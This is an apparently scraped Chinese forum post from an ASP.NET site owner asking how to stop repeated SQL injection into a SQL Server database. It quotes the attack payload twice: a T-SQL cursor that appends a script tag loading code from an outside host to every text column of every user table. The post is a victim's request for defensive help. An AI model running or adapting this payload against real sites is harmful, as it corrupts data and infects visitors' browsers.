我的网站数据库经常被SQL注入,
我看了一下貌似是通过系统表注入的,下面是注入语句!
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://8889.ss.la></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我想请问下!怎么可以让数据库登陆用户不能对系统表进行操作! 或者有没有朋友知道怎么避免被SQL注入,程序用的是asp.net的,操作数据库时用的参数形式,通过url传值时,整形变量我判断它的类型后再错做,字符串类型的,我过滤单引号了,然后在每个被注入的表里面加了一个触发器,当有</script>时,不操作! 但是还是被上面那种方式注入,到底怎么办才好呢! 我也不知道,不让操作系统表到底有没有用的!
我看了一下貌似是通过系统表注入的,下面是注入语句!
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://8889.ss.la></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
我想请问下!怎么可以让数据库登陆用户不能对系统表进行操作! 或者有没有朋友知道怎么避免被SQL注入,程序用的是asp.net的,操作数据库时用的参数形式,通过url传值时,整形变量我判断它的类型后再错做,字符串类型的,我过滤单引号了,然后在每个被注入的表里面加了一个触发器,当有</script>时,不操作! 但是还是被上面那种方式注入,到底怎么办才好呢! 我也不知道,不让操作系统表到底有没有用的!
解决方案 »
- 求Insert触发器
- 怎样通过sql语句来查询某个用户的权限
- 有一个字符串,有汉字也有字母,如“中国rmb",有一个的表gbk ,有一个字段hanzi ,是主键,还有一个字段是py,里面有很多的字,如何进行查
- win7 旗舰版 SQLServer2008安装出现: MOF编译器无法连接WMI服务器
- MYSQL 触发器怎么转成 SQL 触发器?
- 请教一SQL查询语句!
- 求一个排序规则方法
- microsoft sql server management studio 打开指定版本的
- 怎么用存储过程实现SQL2000数据库的备份与恢复
- 高手进!!!求大量数据得插入,更新操作.如何降低存储过程得开销,内存!!!比如说100万条!!!给我解决了,我给大家说一个比较简单实现BOM的库设
- 求SQL SERVER 2000 夸表更新 UPDATE 语句
- 请教,如何往表中插入多行记录
http://topic.csdn.net/u/20090326/11/5e584897-2dd7-4e10-af1b-9b48b146af8e.html?29690